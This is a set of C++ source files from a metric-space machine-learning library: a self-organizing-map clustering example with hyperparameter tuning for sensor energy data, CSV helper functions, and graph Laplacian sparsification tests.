distribution, initial_neighbour_size, neigbour_range_decay, random_seed ); som.train(speeds); auto nodes_data = som.get_weights(); json nodes_data_json(nodes_data); std::ofstream som_output(RAW_DATA_DIRNAME + "/result/som_" + std::to_string(w_grid_size) + "x" + std::to_string(h_grid_size) + ".json"); som_output << std::setw(4) << nodes_data_json << std::endl; som_output.close(); // clustering on the reduced data //metric::Matrix<std::vector<double>, metric::Cosine<double>> distance_matrix(nodes_data); //auto [assignments, exemplars, counts] = metric::affprop(distance_matrix, (float)0.25); auto [assignments, exemplars, counts] = metric::kmeans(nodes_data, CLUSTERS_NUM, 1000); std::cout << "assignments:" << std::endl; vector_print(assignments, w_grid_size, h_grid_size); std::cout << std::endl; std::cout << "counts:" << std::endl; vector_print(counts); std::cout << std::endl; // split and reshape raw data by clusters [sensor -> cluster -> energy -> values] int num_sensors = 8; int num_levels = 7; std::vector<std::vector<std::vector<std::vector<double>>>> clustered_energies(num_sensors, std::vector<std::vector<std::vector<double>>>(counts.size(), std::vector<std::vector<double>>(num_levels))); std::vector<int> total(assignments.size()); for (auto record : speeds) { // find cluster id for a record auto bmu = som.BMU(record); auto cluster_index = assignments[bmu]; total[bmu]++; for (int i = 0; i < num_sensors; i++) { for (int j = 0; j < num_levels; j++) { clustered_energies[i][cluster_index][j].push_back(record[i*num_levels + j]); } } } std::cout << "cluster sizes:" << std::endl; for (int k = 0; k < clustered_energies[0].size(); k++) { std::cout << "cluster_index: " << k << ", size: "<< clustered_energies[0][k][0].size() << std::endl; } std::cout << std::endl; std::cout << "som nodes sizes:" << std::endl; vector_print(total, w_grid_size, h_grid_size); std::cout << std::endl; return { assignments, counts, clustered_energies }; } template <typename T, typename Metric, typename Graph> std::tuple<std::vector<int>, std::vector<int>, std::vector<std::vector<std::vector<std::vector<double>>>>> iterateThroughDistributionsBest(int w_grid_size, int h_grid_size, int distribution_type, std::vector<std::vector<T>> speeds, Metric distance, Graph graph, unsigned int iterations, double s_learn_rate, double f_learn_rate, double initial_neighbour_size, double neigbour_range_decay, long long random_seed) { if (distribution_type == 0) { // uniform_real_distribution std::uniform_real_distribution<double> distribution(-1, 1); return get_weights_from_som(w_grid_size, h_grid_size, speeds, distance, graph, distribution, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (distribution_type == 1) { // normal_distribution std::normal_distribution<double> distribution(-1, 1); return get_weights_from_som(w_grid_size, h_grid_size, speeds, distance, graph, distribution, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (distribution_type == 2) { // exponential_distribution std::exponential_distribution<double> distribution(1); return get_weights_from_som(w_grid_size, h_grid_size, speeds, distance, graph, distribution, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } return std::tuple<std::vector<int>, std::vector<int>, std::vector<std::vector<std::vector<std::vector<double>>>>>(); } template <typename T, typename Graph> std::tuple<std::vector<int>, std::vector<int>, std::vector<std::vector<std::vector<std::vector<double>>>>> iterateThroughDistancesBest(int w_grid_size, int h_grid_size, int metric_type, int distribution_type, std::vector<std::vector<T>> speeds, Graph graph, unsigned int iterations, double s_learn_rate, double f_learn_rate, double initial_neighbour_size, double neigbour_range_decay, long long random_seed) { if (metric_type == 0) { // Euclidean metric::Euclidean<double> distance; return iterateThroughDistributionsBest(w_grid_size, h_grid_size, distribution_type, speeds, distance, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (metric_type == 1) { // Manhatten metric::Manhatten<double> distance; return iterateThroughDistributionsBest(w_grid_size, h_grid_size, distribution_type, speeds, distance, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (metric_type == 2) { // P_norm metric::P_norm<double> distance; return iterateThroughDistributionsBest(w_grid_size, h_grid_size, distribution_type, speeds, distance, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (metric_type == 3) { // Euclidean_thresholded metric::Euclidean_thresholded<double> distance; return iterateThroughDistributionsBest(w_grid_size, h_grid_size, distribution_type, speeds, distance, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (metric_type == 4) { // Cosine metric::Cosine<double> distance; return iterateThroughDistributionsBest(w_grid_size, h_grid_size, distribution_type, speeds, distance, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (metric_type == 5) { // Chebyshev metric::Chebyshev<double> distance; return iterateThroughDistributionsBest(w_grid_size, h_grid_size, distribution_type, speeds, distance, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } return std::tuple<std::vector<int>, std::vector<int>, std::vector<std::vector<std::vector<std::vector<double>>>>>(); } template <typename T> std::tuple<std::vector<int>, std::vector<int>, std::vector<std::vector<std::vector<std::vector<double>>>>> iterateThroughGraphsBest(int w_grid_size, int h_grid_size, int graph_type, int metric_type, int distribution_type, std::vector<std::vector<T>> speeds, unsigned int iterations, double s_learn_rate, double f_learn_rate, double initial_neighbour_size, double neigbour_range_decay, long long random_seed) { if (graph_type == 0) { // Grid4 metric::Grid4 graph(w_grid_size, h_grid_size); return iterateThroughDistancesBest(w_grid_size, h_grid_size, metric_type, distribution_type, speeds, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (graph_type == 1) { // Grid6 metric::Grid6 graph(w_grid_size, h_grid_size); return iterateThroughDistancesBest(w_grid_size, h_grid_size, metric_type, distribution_type, speeds, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (graph_type == 2) { // Grid8 metric::Grid8 graph(w_grid_size, h_grid_size); return iterateThroughDistancesBest(w_grid_size, h_grid_size, metric_type, distribution_type, speeds, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (graph_type == 3) { // Paley metric::Paley graph(w_grid_size * h_grid_size); return iterateThroughDistancesBest(w_grid_size, h_grid_size, metric_type, distribution_type, speeds, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (graph_type == 4) { // LPS metric::LPS graph(w_grid_size * h_grid_size); return iterateThroughDistancesBest(w_grid_size, h_grid_size, metric_type, distribution_type, speeds, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (graph_type == 5) { // Margulis metric::Margulis graph(w_grid_size * h_grid_size); return iterateThroughDistancesBest(w_grid_size, h_grid_size, metric_type, distribution_type, speeds, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } return std::tuple<std::vector<int>, std::vector<int>, std::vector<std::vector<std::vector<std::vector<double>>>>>(); } std::tuple<std::vector<std::vector<int>>, std::vector<std::vector<int>>> getPositionsAndBorders(std::vector<int> assignments, int clusters_num, int row_len) { std::vector<std::vector<int>> positions(clusters_num); //std::vector<std::vector<std::vector<int>>> borders(counts.size()); std::vector<std::vector<int>> borders(clusters_num); for (int i = 0; i < assignments.size(); i++) { positions[assignments[i]].push_back(i); // int row = i / row_len; int near_cluster_index; int near_cluster_index_row; // prev row if (row % 2 == 0) { near_cluster_index = i - row_len - 1; near_cluster_index_row = near_cluster_index / row_len; if(row - 1 == near_cluster_index_row) if (get_hex_bounds(assignments, i, near_cluster_index)) { //borders[assignments[i]].push_back(std::vector<int> {near_cluster_index, i}); borders[assignments[i]].push_back(near_cluster_index); borders[assignments[i]].push_back(i); } near_cluster_index = i - row_len; near_cluster_index_row = near_cluster_index / row_len; if(row - 1 == near_cluster_index_row) if (get_hex_bounds(assignments, i, near_cluster_index)) { //borders[assignments[i]].push_back(std::vector<int> {near_cluster_index, i}); borders[assignments[i]].push_back(near_cluster_index); borders[assignments[i]].push_back(i); } } else { near_cluster_index = i - row_len; near_cluster_index_row = near_cluster_index / row_len; if(row - 1 == near_cluster_index_row) if (get_hex_bounds(assignments, i, near_cluster_index)) { //borders[assignments[i]].push_back(std::vector<int> {near_cluster_index, i}); borders[assignments[i]].push_back(near_cluster_index); borders[assignments[i]].push_back(i); } near_cluster_index = i - row_len + 1; near_cluster_index_row = near_cluster_index / row_len; if(row - 1 == near_cluster_index_row) if (get_hex_bounds(assignments, i, near_cluster_index)) { //borders[assignments[i]].push_back(std::vector<int> {near_cluster_index, i}); borders[assignments[i]].push_back(near_cluster_index); borders[assignments[i]].push_back(i); } } // current row near_cluster_index = i - 1; near_cluster_index_row = near_cluster_index / row_len; if(row == near_cluster_index_row) if (get_hex_bounds(assignments, i, near_cluster_index)) { //borders[assignments[i]].push_back(std::vector<int> {near_cluster_index, i}); borders[assignments[i]].push_back(near_cluster_index); borders[assignments[i]].push_back(i); } near_cluster_index = i + 1; near_cluster_index_row = near_cluster_index / row_len; if(row == near_cluster_index_row) if (get_hex_bounds(assignments, i, near_cluster_index)) { //borders[assignments[i]].push_back(std::vector<int> {i, near_cluster_index}); borders[assignments[i]].push_back(i); borders[assignments[i]].push_back(near_cluster_index); } // next row if (row % 2 == 0) { near_cluster_index = i + row_len - 1; near_cluster_index_row = near_cluster_index / row_len; if(row + 1 == near_cluster_index_row) if (get_hex_bounds(assignments, i, near_cluster_index)) { //borders[assignments[i]].push_back(std::vector<int> {i, near_cluster_index}); borders[assignments[i]].push_back(i); borders[assignments[i]].push_back(near_cluster_index); } near_cluster_index = i + row_len; near_cluster_index_row = near_cluster_index / row_len; if(row + 1 == near_cluster_index_row) if (get_hex_bounds(assignments, i, near_cluster_index)) { //borders[assignments[i]].push_back(std::vector<int> {i, near_cluster_index}); borders[assignments[i]].push_back(i); borders[assignments[i]].push_back(near_cluster_index); } } else { near_cluster_index = i + row_len; near_cluster_index_row = near_cluster_index / row_len; if(row + 1 == near_cluster_index_row) if (get_hex_bounds(assignments, i, near_cluster_index)) { //borders[assignments[i]].push_back(std::vector<int> {i, near_cluster_index}); borders[assignments[i]].push_back(i); borders[assignments[i]].push_back(near_cluster_index); } near_cluster_index = i + row_len + 1; near_cluster_index_row = near_cluster_index / row_len; if(row + 1 == near_cluster_index_row) if (get_hex_bounds(assignments, i, near_cluster_index)) { //borders[assignments[i]].push_back(std::vector<int> {i, near_cluster_index}); borders[assignments[i]].push_back(i); borders[assignments[i]].push_back(near_cluster_index); } } } return {positions, borders}; } int main(int argc, char *argv[]) { std::cout << "SOM example have started" << std::endl; std::cout << '\n'; auto t1 = std::chrono::steady_clock::now(); bool hyperparams_tune = false; bool default_hyperparams = false; if (argc > 1) { if (argv[1] == std::string("hyperparams_tune")) { hyperparams_tune = true; } else if (argv[1] == std::string("default")) { default_hyperparams = true; } else { RAW_DATA_DIRNAME = argv[1]; } } /* Load data */ auto speeds = readEnergies(RAW_DATA_DIRNAME); std::cout << "" << std::endl; std::cout << "Num records: " << speeds.size() << std::endl; std::cout << "Num values in the record: " << speeds[0].size() << std::endl; unsigned concurentThreadsSupported = std::thread::hardware_concurrency(); std::cout << "Num cores: " << concurentThreadsSupported << std::endl; ThreadPool pool(concurentThreadsSupported); Semaphore sem; std::vector<int> graph_types = {1}; std::vector<int> metric_types = {0}; std::vector<int> distribution_types = {0, 1, 2}; std::vector<std::vector<size_t>> grid_sizes = { {15, 15}, {20, 20}, {30, 30} }; std::vector<double> s_learn_rates = {0.2, 0.4, 0.6, 0.8, 1.0}; std::vector<double> f_learn_rates = {0.0, 0.1, 0.2, 0.3, 0.5, 0.7}; std::vector<double> initial_neighbour_sizes = {1, 3, 5, 10, 20}; std::vector<double> neigbour_range_decays = {1.5, 2.0, 3.0, 4.0}; std::vector<long long> random_seeds = {0}; std::vector<unsigned int> iterations_all = {1, 5, 10, 20}; // std::vector<std::string> graph_type_names = {"Grid4", "Grid6", "Grid8", "Paley", "LPS", "Margulis"}; std::vector<std::string> metric_type_names = {"Euclidean", "Manhatten", "P_norm", "Euclidean_thresholded", "Cosine", "Chebyshev"}; std::vector<std::string> distribution_type_names = {"uniform_real_distribution", "normal_distribution", "exponential_distribution"}; //// // int best_graph; int best_metric; int best_distribution; size_t best_w_grid_size; size_t best_h_grid_size; double best_s_learn_rate; double best_f_learn_rate; double best_initial_neighbour_size; double best_neigbour_range_decay; long long best_random_seed; unsigned int best_iterations; // //// if (hyperparams_tune) { std::vector<std::string> metaparams_grid = {"w_grid_size", "h_grid_size", "s_learn_rate", "f_learn_rate", "initial_neighbour_size", "neigbour_range_decay", "random_seed", "iterations", "distribution_type", "metric_type", "graph_type", "score"}; std::vector<std::vector<std::string>> results_grid; // const int count = graph_types.size() * metric_types.size() * distribution_types.size() * grid_sizes.size() * s_learn_rates.size() * f_learn_rates.size() * initial_neighbour_sizes.size() * neigbour_range_decays.size() * random_seeds.size() * iterations_all.size(); std::vector<double> results(count, INFINITY); std::cout << "Num configurations: " << count << std::endl; int i = 0; for (auto grid_size : grid_sizes) { for (auto s_learn_rate : s_learn_rates) { for (auto f_learn_rate : f_learn_rates) { for (auto initial_neighbour_size : initial_neighbour_sizes) { for (auto neigbour_range_decay : neigbour_range_decays) { for (auto random_seed : random_seeds) { for (auto iterations : iterations_all) { for (auto distribution_type : distribution_types) { for (auto metric_type : metric_types) { for (auto graph_type : graph_types) { pool.execute([i, &sem, &results, &speeds, graph_type, metric_type, distribution_type, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, grid_size, random_seed, &results_grid, &metaparams_grid, &graph_type_names, &metric_type_names, &distribution_type_names]() { double score = INF; try { score = iterateThroughGraphs(grid_size[0], grid_size[1], graph_type, metric_type, distribution_type, i, speeds, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } catch (const std::runtime_error& e) { std::cout << "configuration #" << i << ": runtime error: " << e.what() << std::endl; } catch (const std::exception& e) { std::cout << "configuration #" << i << ": exception: " << e.what() << std::endl; } catch (...) { std::cout << "configuration #" << i << ": unknown error" << std::endl; } mu.lock(); std::vector<std::string> current_result = {std::to_string(grid_size[0]), std::to_string(grid_size[1]), std::to_string(s_learn_rate), std::to_string(f_learn_rate), std::to_string(initial_neighbour_size), std::to_string(neigbour_range_decay), std::to_string(random_seed), std::to_string(iterations), distribution_type_names[distribution_type], metric_type_names[metric_type], graph_type_names[graph_type], std::to_string(score)}; results_grid.push_back(current_result); if (i % 10000 == 0) { saveToCsv("assets/metaparams_checkpoint_" + std::to_string(i) + ".csv", results_grid, metaparams_grid); } mu.unlock(); results.at(i) = score; sem.notify(); }); i++; } } } } } } } } } } for (auto grid_size : grid_sizes) { for (auto s_learn_rate : s_learn_rates) { for (auto f_learn_rate : f_learn_rates) { for (auto initial_neighbour_size : initial_neighbour_sizes) { for (auto neigbour_range_decay : neigbour_range_decays) { for (auto random_seed : random_seeds) { for (auto iterations : iterations_all) { for (auto distribution_type : distribution_types) { for (auto metric_type : metric_types) { for (auto graph_type : graph_types) { sem.wait(); } } } } } } } } } } pool.close(); saveToCsv("assets/metaparams_checkpoint_final.csv", results_grid, metaparams_grid); double minimal_score = INFINITY; i = 0; for (auto grid_size : grid_sizes) { for (auto s_learn_rate : s_learn_rates) { for (auto f_learn_rate : f_learn_rates) { for (auto initial_neighbour_size : initial_neighbour_sizes) { for (auto neigbour_range_decay : neigbour_range_decays) { for (auto random_seed : random_seeds) { for (auto iterations : iterations_all) { for (auto distribution_type : distribution_types) { for (auto metric_type : metric_types) { for (auto graph_type : graph_types) { if (results[i] < minimal_score) { minimal_score = results[i]; best_w_grid_size = grid_size[0]; best_h_grid_size = grid_size[1]; best_graph = graph_type; best_metric = metric_type; best_distribution = distribution_type; best_s_learn_rate = s_learn_rate; best_f_learn_rate = f_learn_rate; best_initial_neighbour_size = initial_neighbour_size; best_neigbour_range_decay = neigbour_range_decay; best_random_seed = random_seed; best_iterations = iterations; } i++; } } } } } } } } } } std::cout << std::endl; std::cout << std::endl; std::cout << "The best configuration: " << std::endl; std::cout << " Score: " << minimal_score << std::endl; std::cout << " Graph: " << graph_type_names[best_graph] << std::endl; std::cout << " Distance: " << metric_type_names[best_metric] << std::endl; std::cout << " Distribution: " << distribution_type_names[best_distribution] << std::endl; std::cout << " Grid size: " << best_w_grid_size << "x" << best_h_grid_size << std::endl; std::cout << " Iterations: " << best_iterations << std::endl; std::cout << " Start learn rate: " << best_s_learn_rate << std::endl; std::cout << " Final learn rate: " << best_f_learn_rate << std::endl; std::cout << " Initial neighbour size: " << best_initial_neighbour_size << std::endl; std::cout << " Neigbour range decay: " << best_neigbour_range_decay << std::endl; std::cout << " Random seeds: " << best_random_seed << std::endl; } else { // load metaparms tune results and shood the best (with the lowets score) auto metaparams_grid = readCsvData("assets/metaparams_checkpoint_final.csv", ','); std::vector<double> scores; for (auto row : metaparams_grid) { scores.push_back(std::stod(row[11])); } std::cout << std::endl; std::cout << "Num scores: " << scores.size() << std::endl; int minElementIndex = std::min_element(scores.begin(), scores.end()) - scores.begin(); // //std::cout << "The best metaparams index: " << minElementIndex << std::endl; //auto it = std::find (graph_type_names.begin(), graph_type_names.end(), metaparams_grid[minElementIndex][10]); //best_graph = std::distance(graph_type_names.begin(), it); best_graph = 1; //it = std::find (metric_type_names.begin(), metric_type_names.end(), metaparams_grid[minElementIndex][9]); //best_metric = std::distance(metric_type_names.begin(), it); best_metric = 0; auto it = std::find (distribution_type_names.begin(), distribution_type_names.end(), metaparams_grid[minElementIndex][8]); best_distribution = std::distance(distribution_type_names.begin(), it); best_w_grid_size = std::stod(metaparams_grid[minElementIndex][0]); best_h_grid_size = std::stod(metaparams_grid[minElementIndex][1]); best_s_learn_rate = std::stod(metaparams_grid[minElementIndex][2]); best_f_learn_rate = std::stod(metaparams_grid[minElementIndex][3]); best_initial_neighbour_size = std::stod(metaparams_grid[minElementIndex][4]); best_neigbour_range_decay = std::stod(metaparams_grid[minElementIndex][5]); best_random_seed = std::stod(metaparams_grid[minElementIndex][6]); best_iterations = std::stod(metaparams_grid[minElementIndex][7]); // defaults if (default_hyperparams) { best_distribution = 0; best_w_grid_size = 30; best_h_grid_size = 20; best_s_learn_rate = 0.8; best_f_learn_rate = 0.0; best_initial_neighbour_size = std::sqrt(double(best_w_grid_size * best_h_grid_size)); // use default best_neigbour_range_decay = 2.0; // use default best_random_seed = 0; best_iterations = 20; } std::cout << std::endl; std::cout << "The best configuration: " << std::endl; std::cout << " Score: " << scores[minElementIndex] << std::endl; std::cout << " Graph: " << graph_type_names[best_graph] << std::endl; std::cout << " Distance: " << metric_type_names[best_metric] << std::endl; std::cout << " Distribution: " << distribution_type_names[best_distribution] << std::endl; std::cout << " Grid size: " << best_w_grid_size << "x" << best_h_grid_size << std::endl; std::cout << " Iterations: " << best_iterations << std::endl; std::cout << " Start learn rate: " << best_s_learn_rate << std::endl; std::cout << " Final learn rate: " << best_f_learn_rate << std::endl; std::cout << " Initial neighbour size: " << best_initial_neighbour_size << std::endl; std::cout << " Neigbour range decay: " << best_neigbour_range_decay << std::endl; std::cout << " Random seeds: " << best_random_seed << std::endl; std::cout << std::endl; } // if overrided from arguments if (argc > 3) { best_w_grid_size = std::stod(argv[2]); best_h_grid_size = std::stod(argv[3]); } if (argc > 4) { CLUSTERS_NUM = std::stod(argv[4]); } // create, train SOM over the raw data and reduce the data // then make clustering on the reduced data auto [assignments, counts, clustered_energies] = iterateThroughGraphsBest(best_w_grid_size, best_h_grid_size, best_graph, best_metric, best_distribution, speeds, best_iterations, best_s_learn_rate, best_f_learn_rate, best_initial_neighbour_size, best_neigbour_range_decay, best_random_seed); // calculate borders and positions of each cluster auto [positions, borders] = getPositionsAndBorders(assignments, counts.size(), best_w_grid_size); std::cout << "positions:" << std::endl; matrix_print(positions); std::cout << std::endl; std::cout << "borders:" << std::endl; matrix_print(borders); std::cout << std::endl; // sort clusters by mean energies std::vector<double> energy_means(clustered_energies[0].size()); std::vector<size_t> energy_means_sorted_indexes; std::vector<std::vector<double>> energy_for_means(clustered_energies[0].size()); for (int i = 0; i < clustered_energies.size(); i++) { for (int j = 0; j < clustered_energies[i].size(); j++) { for (int k = 0; k < clustered_energies[i][j].size(); k++) { for (int p = 0; p < clustered_energies[i][j][k].size(); p++) { energy_for_means[j].push_back(clustered_energies[i][j][k][p]); } } } } for (int i = 0; i < energy_for_means.size(); i++) { energy_means[i] = std::accumulate( energy_for_means[i].begin(), energy_for_means[i].end(), 0.0) / energy_for_means[i].size(); } energy_means_sorted_indexes = sort_indexes(energy_means); std::cout << "energy means:" << std::endl; vector_print(energy_means); std::cout << std::endl; std::cout << "energy means sorted indexs:" << std::endl; vector_print(energy_means_sorted_indexes); std::cout << std::endl; // calculate confs based on clustered energies and fill the result json std::vector<std::string> conf_names = {"conf_l", "conf_m", "conf_r"}; std::vector<std::string> sensor_names = {"vorne_li-1", "vorne_li-2", "vorne_li-3", "hinten_re-1", "vorne_re-1", "vorne_re-2", "vorne_re-3", "hinten_re-2"}; std::vector<uint32_t> windowSizes = {12, 24, 48, 96, 192, 384}; uint32_t samples = 1000; double confidencelevel = 0.99; std::cout << "--->" << std::endl; json reference_data; int sensor_index = 0; for (auto sensor_data : clustered_energies) { std::cout << " ---> sensor " << sensor_index << std::endl; std::vector<json> clusters_json; // get cluster index from sorted by energy means for(auto ei : energy_means_sorted_indexes) { auto cluster_data = sensor_data[ei]; std::cout << " ---> cluster " << ei << std::endl; // if there are data in the cluster (size of subbands is equal, so we look at the first subband size) if (cluster_data[0].size() > 1) { std::vector<json> energy_subbands_json; for (int ci = 0; ci < cluster_data.size(); ci++) { auto energy_subband_data = cluster_data[ci]; // returns quants for a single subbund std::vector<std::vector<std::vector<double>>> multiquants = set2multiconf(energy_subband_data, windowSizes, samples, confidencelevel); json energy_subband_json; for (auto window : multiquants) { json window_json = { {"conf_l", window[0]}, {"conf_m", window[1]}, {"conf_r", window[2]} }; energy_subband_json.push_back(window_json); } energy_subbands_json.push_back(energy_subband_json); //std::cout << " ---:" << std::endl; } json cluster_json = { {"name", "Level" + std::to_string(ei)}, {"border", borders[ei]}, {"position", positions[ei]}, {"quant", energy_subbands_json} }; clusters_json.push_back(cluster_json); //std::cout << " ---:" << std::endl; } } json sensor_json = { {"id", sensor_names[sensor_index]}, {"data", clusters_json} }; reference_data.push_back(sensor_json); sensor_index++; std::cout << " ---:" << std::endl; } std::ofstream outputFile(RAW_DATA_DIRNAME + "/result/reference_data_" + std::to_string(best_w_grid_size) + "x" + std::to_string(best_h_grid_size) + ".json"); outputFile << std::setw(4) << reference_data << std::endl; outputFile.close(); std::cout << "---:" << std::endl; auto t2 = std::chrono::steady_clock::now(); std::cout << "(Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; return 0; }
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helpers.cpp
metric-space-ai_metric/examples/energies_examples/assets/helpers.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2018 Panda Team */ #include <iostream> #include <fstream> #include <vector> #include <string> #include <sstream> #include <blaze/Blaze.h> template <typename T> T convert_to(const std::string & str) { std::istringstream s(str); T num; s >> num; return num; } // templated version of stof, stod, etc., thanks to https://gist.github.com/mark-d-holmberg/862733 template <class ContainerType> ContainerType read_csv(std::string filename, std::string sep=",") { // works with string, does not convert to numbers typedef typename ContainerType::value_type LINE; std::string line; int pos; ContainerType array = {}; std::ifstream in(filename); if (!in.is_open()) { std::cout << "Failed to open file: " << filename << std::endl; return array; } while (getline(in, line)) { LINE ln; while( (pos = line.find(sep)) >= 0) { std::string field = line.substr(0, pos); line = line.substr(pos+1); ln.push_back(field); } ln.push_back(line); array.push_back(ln); } return array; } template <class ContainerType> void write_csv(ContainerType data, std::string filename, std::string sep=",") // container of containers expected, TODO add check { std::ofstream outputFile; outputFile.open(filename); for (auto i = 0; i < data.size(); ++i) { for (auto j = 0; j < data[i].size(); j++) { outputFile << std::to_string(data[i][j]) << sep; } outputFile << std::endl; } outputFile.close(); } // TODO add return flag template <class ValueType> void blaze_dm_to_csv(blaze::DynamicMatrix<ValueType> data, std::string filename, std::string sep=",") { std::ofstream outputFile; outputFile.open(filename); for (auto i = 0; i < data.rows(); ++i) { for (auto j = 0; j < data.columns(); j++) { outputFile << std::to_string(data(i, j)) << sep; } outputFile << std::endl; } outputFile.close(); } // TODO add return flag template <class ValueType> std::vector<std::vector<ValueType>> read_csv_num(std::string filename, std::string sep=";") { // code dubbing with read_csv, TODO unify and remove one of these functions typedef typename std::vector<ValueType> LINE; std::string line; int pos; std::vector<std::vector<ValueType>> array = {}; std::ifstream in(filename); if(!in.is_open()) { std::cout << "Failed to open file" << std::endl; return array; } while( getline(in,line) ) { LINE ln; while( (pos = line.find(sep)) >= 0) { std::string field = line.substr(0, pos); line = line.substr(pos+1); ln.push_back(convert_to<ValueType>(field)); } ln.push_back(convert_to<ValueType>(line)); array.push_back(ln); } return array; } template <class ValueType> blaze::DynamicMatrix<ValueType, blaze::rowMajor> read_csv_blaze(const std::string & filename, std::string sep = ";") { auto array = read_csv<std::vector<std::vector<std::string>>>(filename, sep); auto m = blaze::DynamicMatrix<ValueType, blaze::rowMajor>(array.size(), array[0].size()); for (size_t i=0; i<array.size(); ++i) for (size_t j=0; j<array[0].size(); ++j) m(i, j) = convert_to<ValueType>(array[i][j]); return m; } //template <template <class, bool> class BlazeContainerType, class ValueType, bool SO> //bool read_csv_blaze(const std::string & filename, BlazeContainerType<ValueType, SO> & matrix, std::string sep = ";") { template <template <class, bool> class BlazeContainerType, class ValueType> bool read_csv_blaze(const std::string & filename, BlazeContainerType<ValueType, blaze::rowMajor> & matrix, std::string sep = ";") { //typedef typename std::vector<std::string> LINE; std::string line; int pos; //std::vector<LINE> array = {}; std::ifstream in(filename); if(!in.is_open()) { std::cout << "Failed to open file" << std::endl; return false; } size_t row_idx = 0; while( getline(in, line) ) { //LINE ln; size_t col_idx = 0; while( (pos = line.find(sep) ) >= 0) { std::string field = line.substr(0, pos); std::cout << field << "\n"; std::cout << line << "\n"; line = line.substr(pos+1); //ln.push_back(field); matrix(row_idx, col_idx) = convert_to<ValueType>(field); ++col_idx; } matrix(row_idx, col_idx) = convert_to<ValueType>(line); ++row_idx; //ln.push_back(line); //array.push_back(ln); } return true; }
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sparsification_test.cpp
metric-space-ai_metric/examples/laplacians_example/sparsification_test.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team Copyright (c) 2019 Oleg Popov */ /* Laplacians is a package containing graph algorithms, with an emphasis on tasks related to spectral and algebraic graph theory. It contains (and will contain more) code for solving systems of linear equations in graph Laplacians, low stretch spanning trees, sparsifiation, clustering, local clustering, and optimization on graphs. All graphs are represented by sparse adjacency matrices. This is both for speed, and because our main concerns are algebraic tasks. It does not handle dynamic graphs. It would be very slow to implement dynamic graphs this way. https://github.com/danspielman/Laplacians.jl */ //#include <blaze/Math.h> #include "metric/utils/graph/sparsify.hpp" #include "metric/utils/solver/helper/graphalgs.hpp" #include "metric/distance.hpp" #include <chrono> #include <iostream> using blaze::CompressedMatrix; void sparsification_test() { auto t1 = std::chrono::high_resolution_clock::now(); blaze::CompressedMatrix<double, blaze::columnMajor> G = metric::grid2<double>(100); size_t n = G.rows(); blaze::CompressedMatrix<double, blaze::columnMajor> Gp = metric::power(G, 15); blaze::CompressedMatrix<double, blaze::columnMajor> Gsparse = metric::sparsify_effective_resistance(Gp, 1.0F); std::cout << "Dimension:" << Gp.rows() << "\n"; std::cout.precision(10); std::cout << "Average degree of sparsifier: " << double(Gsparse.nonZeros()) / double(n); auto t2 = std::chrono::high_resolution_clock::now(); auto msec = std::chrono::duration_cast<std::chrono::milliseconds>(t2 - t1).count(); std::cout << "\nFinal time: " << msec / 1000.0 << " ms.\n"; }
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.cpp
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metric-space-ai/metric
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1,531,421
Laplacians_test.cpp
metric-space-ai_metric/examples/laplacians_example/Laplacians_test.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team Copyright (c) 2019 Oleg Popov */ /* Laplacians is a package containing graph algorithms, with an emphasis on tasks related to spectral and algebraic graph theory. It contains (and will contain more) code for solving systems of linear equations in graph Laplacians, low stretch spanning trees, sparsifiation, clustering, local clustering, and optimization on graphs. All graphs are represented by sparse adjacency matrices. This is both for speed, and because our main concerns are algebraic tasks. It does not handle dynamic graphs. It would be very slow to implement dynamic graphs this way. https://github.com/danspielman/Laplacians.jl */ #include <cstdlib> #include <iostream> void pcg_tests(); void IJVtests(); void CollectionTest(); void CollectionFunctionTest(); void sparsification_test(); int main() { pcg_tests(); IJVtests(); CollectionTest(); CollectionFunctionTest(); sparsification_test(); }
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1,531,422
dnn_example.cpp
metric-space-ai_metric/examples/dnn_examples/dnn_example.cpp
